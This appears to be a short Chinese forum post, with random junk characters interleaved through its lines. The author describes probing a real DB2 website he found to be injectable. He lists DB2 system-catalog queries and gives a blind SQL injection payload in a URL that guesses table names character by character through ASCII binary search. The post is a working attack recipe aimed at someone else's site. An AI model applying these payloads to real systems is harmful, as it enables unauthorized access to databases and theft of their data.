使用DB2的人比较少了,今天碰到了一个可供注入的DB2网站,想试试身手。不过在网上很难找到相关的资料,只好自己研究了。 4 I+ P/ ~3 G; I* p' U8 b/ M
参考了IBM DB2的文档,总结了这样几条:
4 f. F4 m1 f3 a8 a$ j7 o$ R9 Y1、select NAME from SYSIBM.SYSTABLES where CREATOR =USER % D8 u) p: R0 t/ R
可以返回系统中所有用户创建的表(table)名 4 u# C& `2 \: F% B
2、select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = '' and TBNAME='' 8 ~1 G: E. K6 W+ x9 }5 g6 j
返回表中的列名 % }$ y$ T3 s$ U! D6 c1 q
3、select NAME from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY
* ]2 X1 W+ t/ w s( e1 E这是最关键的地方,返回第一条记录,类似于sql server中的top 1 % s* I0 [5 o) k, P
4、SUBSTR(string, position, length) - {. ~0 f2 U! m2 Z* Z
返回字符串子串的函数,类似于mid + v; p2 ]+ C8 o: E+ w3 n" C0 E
5、ASCII()这个就不用多说了。
@) [, Z# E8 m, T& z6 _有了这些语句和函数,我们就可以很方便的用ascii拆半法猜出所有的table名,字段名,以及其中的数据了。
! @2 _- |2 I# T9 u例如判断第一个table的名称的第一个字符的ascii码是否大于50:
" G* f8 j" F$ [3 Q! _http://*.com?test.jsp?id=1 and (select ASCII(SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY)>50 --
, ]$ Y4 j0 l) r5 V/ i
2 E: H+ L) d7 z& F6 Fhttp://blog.waynedeng.com/blogview.asp?logID=543
& M! K# H# T8 D) h" z |